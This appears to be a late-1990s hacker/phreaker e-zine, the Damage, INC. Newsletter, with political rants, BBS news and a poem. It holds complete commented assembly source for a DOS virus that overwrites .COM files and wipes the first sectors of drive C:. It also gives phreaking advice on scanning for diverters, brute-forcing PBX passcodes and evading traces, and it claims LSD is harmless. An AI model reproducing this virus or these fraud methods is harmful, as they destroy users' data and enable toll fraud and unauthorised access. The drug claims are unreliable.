+ computer system a computer system in a building or place for data may
+ and copying
+ equipment
+
+ (a) use or cause to be used any computer system at
+ the building or place to search any data contained
+ in or available to the computer system;
+
+Section 2.1(a) is particularly disturbing. What is considered "available to the
+computer system?" Can a cop use the computer system with a modem and phone line
+to search other computer systems "available to" it? The vagueness of 2.1(a)
+opens up a multitude of loopholes for the investigator.
+
+ (b) reproduce or cause to be reproduced any data
+ in the form of a print-out or other intelligible
+ output;
+
+ (c) seize the print-out or other output for
+ examination or copying; and
+
+ (d) use or cause to be used any copying equipment
+ at the place to make copies of the data.
+
+These subsections add insult to injury. The cop can seize a blank floppy under
+(d) and use it to satisfy (b). Any computer hardware you own *will* be used
+against you.
+
+ Duty of person in (2.2) Every person who is in possession or control of
+ possession or any building or place in respect of which a search is
+ control carried out under this section shall, on presentation
+ of the warrant, permit the person carrying out the
+ search
+
+ (a) to use or cause to be used any computer system
+ at the building or place in order to search any
+ data contained in or available to the computer
+ system for data that the person is authorized by
+ this section to search for;
+
+My own perception of this subsection is that the person being searched is
+supposed to act as an assistant to the cop. Look at the words "cause to be
+used." What is the scope of that? Must the person being searched provide
+passwords and encryption keys in order to satisfy 2.2(a)? If so, the person
+being searched either incriminates himself, or is charged with obstructing the
+cop's search.
+
+ (b) to obtain a hard copy of the data and to seize
+ it; and
+
+ (c) to use or cause to be used any copying
+ equipment at the place to make copies of the data.
+
+22(b) and (c) reinforce 21(b), (c) and (d). The person being searched is
+supposed to allow (assist) the cop in obtaining copies of the data.
+
+It would be to the advantage of the cops and crown prosecutors if the suspect
+is forced to provide complete access to the data on his system. Once they
+obtain access to any incriminating (or allegedly incriminating) data, they
+can seize every electronic device "in or available to" the data. Under
+section 48(2) (entitled Seizure without warrant) of Bill C-17, it is possible
+for a police officer to seize anything that he believes was used to perform
+a criminal act. If the cop doesn't want to do that, he can pick up your phone,
+call up a judge and get a "telewarrant" (sections 42(7) and 44(3)) for anything
+else he wants to search for or seize.
+
+I could go on for many more pages talking about other sections that deal with
+search and seizure. However, the small amount of text that I imported from
+Bill C-17 should be enough for you to realize that section 8 of the Charter of
+Rights and Freedoms ("the right to be secure against unreasonable search and
+seizure") is a fucking joke. Bill C-17 is nothing more than a huge government
+conspiracy to make any person living in Canada vulnerable to (literally)
+unwarranted police invasion. With extended powers and criminal immunity, the
+police can arrest anyone for anything. The government seeks total control over
+the population, and the threat of imprisonment, and financial ruin due to legal
+fees, does keep some people under their thumb.
+
+The way I see it, they are trying to coverup the fact that they are taking
+active steps to create the Canadian Thought Police. Don't assume that you have
+certain rights and freedoms, because as each bill is passed they are being
+raped from us. Assuming anything is a mistake in itself.
+
+Written by Shatazar ú Damage, INC. (C)opyright 1997.
+
+
+CORRUPTION AND GREED - {GREED}
+Bell preys on naive customers.
+
+Bell is a well known, fat cat company that enjoys a monopoly of telephone
+service in Canada. Since they've never had to compete in an open marketplace,
+they rely on their monopoly in order to finance their greedy corporate culture.
+Bell is known for their total lack of respect for their customers. They
+know that there is no where else for people to go for local telephone service.
+
+At one time, Bell had a monopoly on the telephone itself. The only "legal"
+telephones were the ones that were rented directly from Bell. This policy
+was enforced for decades. Then Bell was forced to soften the policy. Bell
+required that one telephone must be rented from them, but extension
+telephones could be purchased. That is over now. Bell can't force us to
+rent one of their shitty, overpriced telephones anymore.
+
+Bell still makes a tremendous amount of money from naive customers that
+continue to rent telephones. Why do these people choose to rent a telephone
+from Bell? Unlike major household items, a telephone is a relatively
+inexpensive machine. Telephones are also fairly uncomplex, so they can be
+used for decades without having any kind of a breakdown. I personally fail
+to see why anyone should rent a telephone. Unless the intent of telephone
+renters is to feed Bell's greed by joyfully putting money into their pocket.
+:-(
+
+Bell's primary residential phone renters can generally be put into two
+groups. The first groups are young yuppies that rent the "top of the line"
+telephone with all the little Bell buttons. They "need the best" to compete
+with their snobby neighbours. Since they may not be able to afford one
+that costs $250 or more, they rent it. These morons also believe that blowing
+money on all of Bell's services (Call Screening, Caller-ID, etc.) is a
+necessity. If these people would have a little bit of self-control, they would
+save up enough money to buy the phone outright.
+
+I do have some sympathy for the second group of Bell telephone renters; the
+elderly. They are from the era of the Bell "rental monopoly" and many haven't
+realized that they can return Bell's phone and own their own. Most seniors are
+trusting people, so they don't tend to look at their telephone bill carefully.
+They don't realize how much money they have allowed Bell to take from them. Of
+course, Bell is careful to let seniors think that their corrupt telephone
+policies are still in effect. To this day, Bell service operators still ask "Do
+you have a Bell phone?"
+
+However, I have found it isn't a total waste of time to inform seniors how they
+are being gauged by Bell. My grandmother rented a Harmony touch tone telephone
+from Bell for 13 years. Bell charged her $3.55 per month, plus 15% taxes. That
+works out to be $48.99 per year. (Try multiplying $48.99 by the millions of
+people that rent phones from "Ma Bell" :-(). A refurbished Harmony phone costs
+$14.99 ($17.29 with taxes) at a discount department store. A new Harmony phone
+doesn't cost much more than $25. Here is the real kicker. Performing simple
+math, 13 * $48.99 equals $636.87. That doesn't even count the years she rented
+one of those ancient, black rotary phones that sit in many bedrooms, basements,
+attics and barns throughout Canada.
+
+When I found out that she was renting, I helped her by doing the above
+calculations. And she understood them. She paid for 40 refurbished Harmony
+phones over the past 13 years. She decided that she wanted to stop the eternal
+bleeding that Bell was causing. We returned the Harmony phone to Bell, and she
+bought a new telephone with large buttons, which will pay for itself in two
+years.
+
+I recommend that you do the same thing for the naive. Ask you parents, your
+grandparents, and everybody else you have respect for if they rent a phone from
+Bell. Help them out with some simple mathematics. Let them know how many
+telephones they could have bought with the money they gave to Bell. Hopefully,
+they will no longer want to be a part of the rental scam that Bell has been
+profiting from since their corrupt beginnings. Either that or you can take
+matters into your own hands. Since Christmas is near, you could cross one
+gift off of your list by buying them a telephone. You'll also be eliminating a
+little bit from Bell's income statement. 'Tis always the season to fight back
+against Bell! ;-)
+
+Written by Shatazar ú Damage, INC. (C)opyright 1997.
+
+
+H/P INFORMATION AND NEWS - {NEWS}
+Information on ANIs and diverters:
+
+This section was written and intended for newbies that have little or no
+phreaking experience. First, I'd like to clear up some misconceptions. I've
+been asked questions such as "Does *67 cost anything?" many times by users
+on boards in 519. *67 is free. Also, I've seen people ask "Does *67 block
+out the phone number if the other person uses *69 after you hang up?" Yes,
+your number won't be reported to them. "Does *67 get around call screening?"
+No, it doesn't. If the person uses call screening to prevent you from calling
+them from a certain number, you need to use a diverter. ;) Maybe a complete
+list of Bell *## codes and what they do is necessary.
+
+ANIs/ANACs and diverters are two things that novice phreaks should definitely
+learn and know about. They are both very important and useful for several
+reasons. ANACs (Automatic Number Announcement Circuits) can be local or 1-800
+numbers etc. As an example, you dial the number 1-800-555-5555 and it reports
+what your number is. Obviously, it's useful for finding out the number while
+you're beige boxing...but also for finding out if an extender diverts. If you
+have an extender and want to find out if it's also a diverter, simply use it to
+call an ANI. Not all extenders divert though. Plus, there are occasions when
+you need a local diverter that isn't an extender. For example, if you wanted
+to call a local ISP and divert your number. To find diverters, use ToneLoc to
+scan for them. You'll probably find a diverter or two, some extenders, PBXs
+etc. Usually, there's a 4 or 5 digit passcode on them which can be hacked
+quickly. If the passcode is more than 6 digits, try hacking another one as it
+will require too many attempts.
+
+At this point, you might be asking "What do I need a diverter for anyways?"
+If you plan on dialing out through a PBX or using an extender for free ld, you
+should consider using an extender. Another instance would be hacking an ISP
+or using hacked accounts. Diverters are also useful for calling numbers that
+have Caller ID, Call Screening or an ANI. Many PBXs, 1-800 extenders, systems
+etc. have ANIs...so use diverters to avoid being busted. You can also use
+extenders that divert (check to make sure they do first) to access an ISP
+through the local number they have in that area. Most ISPs have numbers that
+are local to different areas, so using extenders that divert is a fairly good
+method to use. Using several diverters is even better and more difficult to
+trace. Don't assume that the number you're calling doesn't have an ANI unless
+you want to get busted. Once you have some diverters, you can use them with
+ToneLoc to scan etc. safely. The possible uses for them are almost endless.
+
+ANIs can also be used with CNAs. "What the fuck is a CNA?" CNA stands for
+Customer Name and Address. If you're beige boxing and used an ANI to get the
+phone number (or you just want to find out the Name and Address of a telephone
+number) you can use a CNA to get that information. There are local and ld CNAs
+as well as 1-900 (pay per minute) CNAs that some private companies provide as a
+service. Most of them are setup by the local telco for use by linesmen etc.
+They use an ANI to find the number for a line (which is just a pair of wires),
+and then they dial the CNA number to find out their Name and Address. Telco
+personnel use them and phreaks do as well. They're quite useful in any
+situation when you require that information. As in, you can setup a
+teleconference while you are beige boxing by using an ANI and a CNA. ;)
+
+In the next issue of the Damage, INC. Newsletter there will be more information
+on PBXs, VMBs etc. I'll discuss what they do, how to find them, hack them and
+use them without getting caught. Until then, start reading phreaking related
+text files, experiment with ToneLoc and any codes that you find.
+
+Written by Blackie Lawless ú Damage, INC. (C)opyright 1997.
+
+
+INTERVIEWS AND INTERROGATIONS - {INTERVIEWS}
+Savage Dragon's hilarious message:
+
+I simply couldn't resist including a copy of this message in the Damage, INC.
+Newsletter. It was posted in a public base on FoI Archives. My intention
+isn't to humiliate him. I'm not trying to be malicious in any way. I just
+found it hilarious. Basically, I decided to publish it instead of doing an
+interview or interrogation in this issue. Just remember, anything that you
+post on a board can be captured/imaged and used by anyone else for their own
+purpose. In this case, we just took a message and published it so that our
+readers in other area codes (outside of 519) can have a good laugh. ;)
+
+-------------------------------------------------------------------------------
+There I was .. a clueless newbie with an internet account from daddy. I got
+into the irc business, all the good stuff. Then I learned about shells. I
+found out I had one, and learned how to access it (tough stuff). So, I ftp'd
+to to it using good old cuteftp, and started looking around at not only the
+shit in my directory, the shit in other directories. There I noticed there
+was a big names list of all the poeple's login names. I was in business. Big
+time. After I wrote down about 30 names from the list, I loaded up good old
+telnet.exe and telnet'ed to my isp, trying every username i wrote down, as for
+the password, i just used the username too. :P As I was chatting on irc, no
+doubt everyone was laughing at my incredible 'hax0ring' skills, they told me
+to try the login name "root". I tried that for about 10 logins, and then
+poof, i was disconnected. I went to reconnect, and every time it wouldn't
+work. So i called them up and told them something was wrong with my account,
+and I couldn't login. In response, they told me "ya, we locked you out". I
+chatted with them for a while, then left still wondering how they traced me.
+:) I was on my sentex accoutn, telnetting to sentex. Smart. :P Uh. I'm
+getting sick of this shit ..
+
+savage dragon
+-------------------------------------------------------------------------------
+
+
+LETTERS TO THE EDITOR - {LETTERS}
+
+I received these messages on FoI and Distraught Continuum. If you have any
+feedback, leave BLACKENED Email or Netmail.
+
+
+Date: 2:32 pm Thu Nov 27, 1997 Number : 746 of 749
+From: Sprite Base : [Damage, INC. Discussion]
+To : Blackened Refer #: None
+Subj: Damage, INC Newletter #3 Replies: None
+Stat: Normal Origin : Local
+
+
+I just got done reading the latest newsletter.. When I read your "Interview"
+with Billy boy... I almost pissed myself laughing.. twice. Your information
+is always accurate and your 'gut instinct' <-refering to latest interview!
+Should be applauded.. Well.. I hope you keep it up.. It's looking very
+promising!
+
+l8r
+
+ .ùù.
+ `ù..ù$pã¡çîù..ùú
+
+date: 1:19 pm sat nov 29, 1997 number : 4 of 4
+from: Kalamity base : Private Mail
+to : Blackened refer #: none
+subj: Hey replies: none
+stat: normal origin : local
+
+Just thought I'd drop a note letting you know that I downloaded all the Damage
+Inc. newsletters released so far, and that I think they're excellent! One
+thing I will try is Toneloc. Because, honestly, who likes paying Bell for
+long distance charges? :)
+
+Kalamity
+-------------------------------------------------------------------------------
+
+Editor - Sprite, we're glad you enjoyed the interrogation of Billy Gates. It
+ was intended to be humorous. Basically, we wanted to humiliate him
+ and give the readers a good laugh at the same time. ;) Thanks for
+ the feedback man.
+
+ Kalamity, I hope you continue reading the Damage, INC. Newsletter.
+ It is good that you're taking an interest and learning more about
+ ToneLoc etc. Your point about ld charges is well taken. Thanks for
+ the feedback and compliment about our releases.
+
+
+OBJECTIVE OPINIONS - {OPINIONS}
+Timothy Leary and Drugs:
+
+"Turn on, tune in, drop out"
+"Surfing the chaos"
+
+Timothy Leary lead an amazing life. He advocated the use of LSD and other
+psychedelic drugs... that expand your mind. He was outspoken, and not afraid
+to break the laws in order to convey his message. He was imprisoned, made a
+daring escape... fled the United States... and lived in Switzerland until he
+was captured in Afghanistan and returned to the U.S. He was anti-establishment
+and believed in personal freedom and thought. Even in death, he managed to
+capture attention by having his head removed and frozen... to be preserved in
+a cryogenic state. His body was then cremated and the ashes were dispersed in
+space. His death was filmed, and I was able to watch as they cut off his head
+and put it in a clear container filled with ice. His face was positioned
+towards the camera. I can honestly say, I have never seen anything quite like
+that before. Of course, it's possible that the decapitation of his head was
+faked. Real or not, he managed to make everyone that viewed the event think.
+
+Leary had many accomplishments that are noteworthy. He toured universities as
+a speaker. He had a PhD and was also a writer. Over the years, he wrote many
+books. Some of them were written while he was serving a sentence in a
+California prison. Leary once said that law enforcement was closely related to
+agriculture since "police officers are very skilled at planting." to paraphrase
+him. He was busted for possession of two joints, which a cop put into the ash
+tray of his car. Given his reputation, it shouldn't be too difficult to picture
+them framing him. The judge didn't give him bail at his trial because he said
+his "ideas were dangerous". President Richard Nixon called Timothy Leary
+"the most dangerous man alive." because of the books he'd written and the
+speeches he had made. Imagine that. Meanwhile, Leary was just a philosopher
+with ideas that the government didn't agree with. He was persecuted for his
+ideas, his words, his lifestyle and his mind. That was the real weapon.
+Leary's imagination and philosophies weren't "acceptable" to the Government of
+the United States of America. In their view, he had very dangerous ideas about
+drugs etc. that they are still trying to battle in their little "war against
+drugs" until this day. However, they will never win the war on drugs... as long
+as there are eloquent, aggressive, free thinkers like Leary around to speak out.
+
+Don't conform. Become Informed. Don't just believe everything like a zombie.
+Instead of listening to propaganda that is intended to brainwash you, educate
+yourselves. LSD won't harm you. The THC that's in marijuana doesn't
+permanently alter your brain. ;) The anti-drug campaign is orchestrated by
+unintelligent members of Big Brother. They will tell you that smoking weed
+makes you stupid. If that's true, how was Leary (a frequent drug user) able to
+write so many excellent books? Also, why can't they create more imaginative
+slogans? "Just say No" says nothing at all. They group everything together.
+Are crack, heroin, cocaine, hash, acid, marijuana etc. all the same? No, of
+course not. Yet, that's what you are *told* and supposed to believe. Here
+is my answer to that: Fuck "the establishment". Fuck "the system".
+Fuck "society". Fuck Big Brother. They lie in order to control the citizens.
+They expect their words to be taken as truth. They're wrong in assuming that
+everyone is blind.
+
+Leary was a very controversial figure. Big Brother tracked, monitored and
+feared him because they thought he was a threat to "society". He had strange
+ideas, different behaviour and ways of doing things. That is, he didn't just
+go with the grain. In fact, he was infamous for saying things that go directly
+against the norm. That is why I feel that he was a genius. I'm not basing
+that statement purely on his intellect either, but rather the way in which he
+lived his life. He wasn't afraid to be involved in the whole counter-culture
+movement of that era. Leary was also a cool person that bridged the generation
+gap and could relate seemlessly with much younger people. He was able to teach
+them about things that weren't often discussed openly during that time. Leary
+would say anything that he believed in, and should be commended for doing that.
+
+I *know* some of you are enlightened enough to understand the message that is
+expressed in this short article, and form your own opinions. That's all that
+I can ask for. Unfortunately, the same can't be said of your own government...
+as they don't want you to read this and form your own opinions about what is
+written. My final comment is that I've seen some of Leary's expressions altered
+and abused for commercialism and capitalism. As in, "Turn on, tune in and win"
+has been used to advertise contests etc. In my opinion, that is a pathetic
+example of how a message can become distorted and used for another purpose.
+The majority of the time, the purpose is to exploit it and make money. Greed is
+another topic though, so I'll just end this by saying; Think and you will
+prosper.
+
+Written by BLACKENED ú Damage, INC. (C)opyright 1997.
+
+
+REPORTS FROM THE FRONT - {REPORTS}
+
+(c) 1997 Mark Stachiew
+(c) 1997 The Montreal Gazette
+
+CYBERNAUTS SING THE PRAISES OF BULLETIN BOARDS
+by Mark Stachiew
+
+ Back in the Stone Age of computers, before Bill Gates had made his
+first million and the Internet had yet to see its first "spam" message,
+computer users talked with each other via Bulletin Board Systems
+(BBSes).
+
+ While the World Wide Web has taken a bite out of the number of
+BBSes, they never really went away and now the old-timers who still
+use them are banding together to tell cyberspace newcomers what
+they're missing.
+
+ A BBS is basically a computer sitting in someone's home running
+software which allows it to answer incoming calls. Other computer
+users call the BBS to exchange messages, play games and download
+computer programs. It really is an electronic bulletin board.
+
+ They are usually free to call since the system is being run as a
+hobby by someone who is donating time and computer. No fancy browsers
+or hardware are required. The lowliest computer with a modem and
+terminal program will be enough to connect to a BBS.
+
+ Longtime users of BBSes remain nostalgic about the early days of
+the 1980s when the first home computers gave birth to the fledgling
+bulletin boards. In those days BBS callers used glacially-slow 300
+baud modems with acoustic couplers that had to be fit over telephone
+handsets and looked like rubber earmuffs. They endured these hardships
+because of the magic that BBSes created. It was a new form of
+communication which allowed people to make contact with total
+strangers which sometimes developed into lifelong friendships.
+
+ Lynda McCormick knows all about BBSes bringing people together. She
+runs one of the oldest ones in Montreal. McBB has been in continuous
+operation since 1984 [typo here, actually it was 1987 - we just
+celebrated our 10th anniversary this month! --Bl.] and people who
+called on the first day are still calling 13 [10] years later. "Some
+of the old-time users will still call in long-distance when they've
+moved away," she says. "Not on a regular basis, but it's fantastic to
+hear from them and hear how life is treating them now in Toronto,
+London, Ontario, Seattle, or L.A."
+
+ McCormick is still enthusiastic about BBSing and is creating an
+online BBSing Museum with electronic ephemera from BBSes which have
+long since vanished into the ether. "The BBS scene in Montreal has
+been a very rich one with many characters, personalities and a few
+very hilarious stories," she says. "I for one would like to see it
+preserved and cherished as it should be, and not simply swept away
+and forgotten."
+
+ One local BBS operator, Steve Monteith, has maintained a list of
+Montreal bulletin boards (www.vir.com/~capt_xerox/bbslist.html) for
+nearly 12 years. Looking over archives of the list demonstrate how
+much damage the Web has done to BBSing in this city. In 1989,
+Montreal boasted 175 computer bulletin boards. That number grew
+steadily, peaking at 482 in 1995 which is about the time the Web began
+to blossom. Since then the number of BBSes has plummeted to 221. At
+that rate of decline they could be extinct in two years.
+
+ So do BBSes have a future? The people who still use them think so.
+They persist because they create a sense of community among users and
+because callers usually live in the same town, so they are able to
+get together offline where friendships are formed. That can be
+difficult on the Internet where you could be exchanging E-mail with
+someone from Zimbabwe or Kuala Lampur.
+
+ Monteith notes a few other advantages of the local BBS over the
+Internet. You won't get unwanted E-mail (spam) and BBSes are rarely
+commercial. "You can read through whole message bases, and not see an
+advertisement and you can be quite sure that your name on a BBS isn't
+going to be sold to some mailing list."
+
+ An international grass-roots organization has sprung up to spread
+the word about BBSes. The Council for Online Community Alternatives
+(http://coca.home.ml.org) aims to promote BBSes as an alternative to
+the Internet and to build awareness among computer users that BBSes
+are available in their communities. They maintain that in recent
+years millions of people have rushed out to buy computers thinking
+their only online alternative was the Internet, oblivious to the
+existence of local BBSes.
+
+ COCA likes to point out some of the advantages of BBSes. For
+example, at peak times the busy Internet can slow to a crawl. That
+isn't a problem on a BBS since there is usually only one user
+connected at a time so your new fast modem will actually work at full
+speed. Unlike most discussion groups on the Internet, the ones on
+BBSes are usually moderated and ill-tempered "flame" wars are less
+common. And pornography is much rarer on BBSes.
+
+ BBSes are becoming more sophisticated. Many local BBSes now offer
+Internet E-mail and access to select Usenet newsgroups. Some have lots
+of downloadable files while others use flashy terminal programs which
+give them a graphical interface which is almost as easy to use as a
+Web browser. Some bulletin boards are even directly accessible over
+the Web, usually via telnet. You can find a list of other Internet
+BBSes at http://dkeep.com/sbi.html.
+
+ Other BBS resources on the Web:
+
+ BBS FAQ
+ www.sysopworld.com/bbsfaq/text/faqmain.htm
+
+ DIRECTORY OF NORTH AMERICAN B.B.S.es
+ www.thedirectory.org/areacode.htm
+
+ B.B.S.es ON THE INTERNET
+ www.digitalis.net/~messer/bbs/
+
+ THE WORLD OF B.B.S.ing
+ www-scf.usc.edu/~thuyenqu/bbsing.htm
+
+
+SOURCE AND SCRIPTS - {SOURCE}
+
+Virus Name: DAMSMALL
+Variants: None
+Status: New
+Written: December 1997
+Symptoms: Infected .COM files, C: is nuked if activated
+Origin: Canada
+Length: 90 to 105 bytes (with nuke procedure)
+Type Code: .COM Infector
+Detection Method: F-PROT Heuristics
+Removal Instructions: Delete all infected files. They cannot be cleaned since
+ the start of their code is overwritten.
+
+General Comments: The DAMSMALL virus infects .COM files by overwriting them.
+ It alters the date/time stamp of infected files but doesn't
+ increase their size. The infected files simply become a copy
+ of the actual virus (the first 90-105 bytes). The virus will
+ activate the nuke procedure when there aren't any .COM files
+ in the current directory to infect. Upon activation, it will
+ nuke the first 120 sectors of drive C: and then halt the CPU.
+ It's a very small, simple virus. There are no variants of
+ the DAMSMALL virus. I'm releasing the commented source code
+ so that readers can use it as a learning tool.
+
+-------------------------------------------------------------------------------
+; [DAMSMALL] virus (105 bytes)
+; Written by BLACKENED of Damage, INC. (C)opyright 1997.
+; TASM /M DAMSMALL.ASM TLINK /T DAMSMALL.OBJ to assemble.
+
+code segment
+ assume ds:code, ss:code, cs:code, es:code
+ org 100h ;All COM files start here
+
+virus_length equ finish - start ;Length of the virus
+
+start label near
+
+damage proc near
+
+id db 'DI' ;The virus ID is DI which stands
+ ;for Damage, INC.
+damage endp
+
+main proc near
+
+ mov ah,4eh ;Find first file function
+ mov cx,00100111b ;CX holds attribute mask
+ mov dx,offset filespec ;DX points to *.COM files
+
+findlp:
+ int 21h ;Call DOS to execute function
+ jb nuke ;Nuke if there are no COM files
+ call infect ;Attempt to infect the file.
+ jne exit ;Exit if we were successful.
+ mov ah,4fh ;Find next file function
+ jmp short findlp ;Repeat process
+
+exit:
+ mov ax,04C00h ;Terminate program
+ int 21h ;Return to DOS
+
+main endp
+
+nuke proc near
+
+ cli ;Prevent all interrupts
+ mov ah,03 ;BIOS write sectors
+ mov al,120 ;Number of sectors to nuke
+ mov ch,00 ;Cylinder
+ mov cl,01 ;Sector number
+ mov dh,00 ;Head number
+ mov dl,80h ;Drive C:
+ int 13h
+
+ hlt ;Halt CPU
+
+nuke endp
+
+infect proc near
+
+ mov ax,3d02h ;DOS Open the file
+ mov dx,80h+1eh ;Moves filename into dx
+ int 21h ;Execute function
+ xchg bx,ax ;Save handle to BX
+
+ mov ah,3Fh ;DOS Read from file function
+ mov cx,2 ;CX holds 2 bytes to read
+ mov dx,offset holdit ;DX points to holdit buffer
+ int 21h
+
+ cmp word ptr [holdit],4944h ;Are the two bytes "DI"?
+ pushf ;Save flags
+ je close ;Yes, close the infected file.
+
+ xor dx,dx ;Zero DX
+ xor cx,cx ;Zero CX
+
+ mov ax,4200h ;File seek function at
+ int 21h ;the start.
+
+ mov ah,40h ;DOS Write file function
+ mov dx,offset start ;DX points to start of code
+ mov cx,virus_length ;Put size of virus in CX
+ int 21h ;Write virus into file
+
+close:
+ mov ah,3eh ;DOS Close file function
+ int 21h ;The file is now infected and closed
+ popf ;Restore flags
+ ret ;Return
+
+holdit dw ? ;Buffer used to hold first 2 bytes
+
+infect endp
+
+filespec db '*.COM',0 ;File type is *.COM
+
+finish label near
+
+code ends
+ end damage
+-------------------------------------------------------------------------------
+
+
+THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING}
+Awakening:
+
+I traverse into the darkness, like a soldier on a search and destroy mission
+that's encompassed by the jungle of Vietnam. Stealthfully I journey onward
+towards the source of my own existence, limitations and ultimate downfall.
+
+As I look into the blinding blackness, I find the enemy within. My mind
+is now clear and sound. The obscure, disturbing thoughts have faded to black
+and I realize the true meaning of my discovery.
+
+Everyone has an enemy within them. To contemplate its destruction, you must
+understand its purpose. To comprehend its purpose you must know how the
+enemy attacks your own thoughts and lives in your inner being.
+
+The enemy devours creativity, innovativeness, individualism and free thought.
+It preys upon your weakness and drains your ideas and opinions away.
+
+True freedom can only be obtained by making a conscious decision not to
+conform. Fight against control. Break free of the shackles that bind you
+and experience reality.
+
+Self-awakening cannot be explained. To achieve enlightenment, you must define
+your own uniqueness and live by it. Eliminate the enemy and you will be free.
+
+* * *
+
+Someone once said that nothing you say hasn't already been said. Poetry
+disproves that statement. It demonstrates that the written word can be used
+in different combinations to convey an idea, message or simple thought. The
+power of it lies in the way the words are expressed. That is what makes each
+poem unique. If you found this short poem to be interesting and thought
+provoking, then that's great. If not, then perhaps you weren't able to grasp
+the symbolism and meaning. This section is a recent addition to the
+Damage, INC. Newsletter. The poem above was written by BLACKENED. We will
+also publish interesting, thought provoking poems that are sent to us by our
+readers. The frequency and status of this new section are in question at this
+point in time. In other words, the determining factor is the amount of quality
+material that we have to work with. Therefore, this section might not exist
+in every issue of the Damage, INC. Newsletter.
+
+Written by BLACKENED ú Damage, INC. (C)opyright 1997.
+
+
+CLOSING COMMENTS - {CLOSING}
+BLACKENED's Hostile Closing Comments:
+
+Damage, INC. is proud of the Damage, INC. Newsletter and this December issue.
+I'm personally pleased with the overall results we've achieved after many hours
+of dedicated work. I honestly hope that you enjoy reading what we've written.
+Also, we want you to let us know if you've learned anything, used any of the
+information that we've shared, or put a technique into practice.
+
+I admit, not every paragraph is eloquently written and our articles aren't all
+literary classics by any means, but we *always* strive for excellence. Quality
+is extremely important to us. We try to have a theme for each issue. In fact,
+we believe that nothing else should be allowed to outweigh the actual message.
+That is why most of our time is spent making sure a clear message is presented
+to the readers. The majority of the information in this issue is geared towards
+h/p newbies. However, that will change in the future. More advanced h/p
+related tips, methods, techniques etc. will be included for those that already
+have some knowledge and experience... and haven't just entered the h/p scene.
+If you aren't a newbie don't despair, continue reading the Damage, INC.
+Newsletter. In the meantime, you can become involved and contribute. That'll
+speed up the process of educating newbies, and we can then move forward. Last
+but not least, have a happy fucking New Year! ;)
+
+We're still looking for Writers, Members and Distribution Sites. If you'd like
+to apply to Damage, INC. and join a respected h/p group, then download a copy of
+the Damage, INC. Application Generator. If you want any of our releases, they
+are currently available on the following boards:
+
+...AND JUSTICE FOR ALL - Damage, INC. WHQ, h/p/a/c/v/t, no ratios, invite only.
+Freedom of Information Archives - Damage, INC. Dist. Site, h/p/a/c/v/t.
+Distraught Continuum - h/p/a/c/v/t, programming, etc.
+
+Any feedback or letters to the editor should be sent to BLACKENED in Email on
+on a Damage, INC. board near you. I can also be contacted via Echomail/Netmail
+in several nets.
+
+- EOF
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+ "The name speaks for itself!" ÞÝ
+
+ Presents the
+
+ Damage, INC. Newsletter
+
+ January 1998 Issue #5
+
+ "Addictive but not lethal."
+
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+ C O N T E N T S :
+
+
+þ INTRODUCTION - An Introduction to the Damage, INC. Newsletter.
+
+þ BIG BROTHER BASHING - A plastic, microchip controlled world.
+ ¯ Search String: {BIG BROTHER}
+
+þ BLACKENED'S TIP OF THE MONTH - Data recovery techniques.
+ ¯ Search String: {BLACKENED}
+
+þ CONSPIRACIES AND COVERUPS - Bill C-17: The Thought Police are here.
+ ¯ Search String: {COVERUPS}
+
+þ CORRUPTION AND GREED - Saddam Hussein: A greedy, defiant dictator.
+ ¯ Search String: {GREED}
+
+þ H/P INFORMATION AND NEWS - Phreaking information on PBXs.
+ ¯ Search String: {NEWS}
+
+þ INTERVIEWS AND INTERROGATIONS - Another Interrogation of Billy Gates.
+ ¯ Search String: {INTERVIEWS}
+
+þ LETTERS TO THE EDITOR - More feedback about the Damage, INC. Newsletter.
+ ¯ Search String: {LETTERS}
+
+þ OBJECTIVE OPINIONS - Robert Latimer; victim of cowardly inaction.
+ ¯ Search String: {OPINIONS}
+
+þ REPORTS FROM THE FRONT - Ten Tips on how to live in the New World Order.
+ ¯ Search String: {REPORTS}
+
+þ SOURCE AND SCRIPTS - Fade to Black trojan source code.
+ ¯ Search String: {SOURCE}
+
+þ THOUGHTS, POEMS AND CREATIVE WRITING - "Visions in Fire" essay.
+ ¯ Search String: {WRITING}
+
+þ CLOSING COMMENTS - BLACKENED's Humble Closing Comments.
+ ¯ Search String: {CLOSING}
+
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+
+
+INTRODUCTION: The Damage, INC. Newsletter is more addictive than nicotine,
+ heroin and crack but not lethal. However, we're not responsible
+ in any way if you overdose on any information that we present.
+ Damage, INC. intends to give you a massive dose of reality in
+ this issue that'll trip you out... and satisfy your constant
+ craving for the ultimate fix. We're going to shoot you up with
+ the most powerful drug imaginable. It's mind altering, thought
+ provoking and permanent. In essence, it is the perfect drug.
+ To use, open your eyes wide and it'll be transferred directly
+ onto your retinas. Then the drug is injected through them into
+ your brain. The chemicals are absorbed and your mind processes
+ the information that it has received. The reactions vary and the
+ results are always different from user to user. In case anyone
+ doesn't know what I'm referring to, it's called reading and
+ comprehending what is written. The drug is ideas, opinions and
+ any information that makes you think. As in, reading something
+ that is interesting and thinking about what you've read can be
+ very addictive, expands your mind and is relaxing. It can also
+ be rewarding to learn about new techniques, methods and different
+ points of view.
+
+ Reading a publication like the Damage, INC. Newsletter can show
+ you perspectives that you had not previously considered. It
+ should be read and used as a source of facts, thoughts etc. that
+ can vastly improve a readers basis for various subjects and
+ topics. Damage, INC. believes that by publishing and releasing
+ this newsletter which informs, educates, promotes alternative
+ learning and thinking...that inevitably those that loyally read
+ it are destined to learn and grow. I am by no means speaking
+ exclusively about the articles that are h/p related either. For
+ example, the Big Brother Bashing section is just as important
+ since it contains valuable information that's general interest.
+
+ Also, many of our articles are often about topics that the mass
+ media chooses to ignore or refuses to openly discuss. They limit
+ themselves and censor everything. They hide from controversy and
+ fear truth. That is the reason that this forum was established.
+ Damage, INC. wanted to create a way of expressing opinions etc.
+ in an open manner to share thoughts and ideas with others. We're
+ always honest with our readers and expect people to disagree,
+ debate and think about what we write. All we can ask is that you
+ at least consider and contemplate what we've written. In fact,
+ you are encouraged to evaluate and ponder our words. It won't
+ kill you to do that. Damage, INC. is aware of the fact that
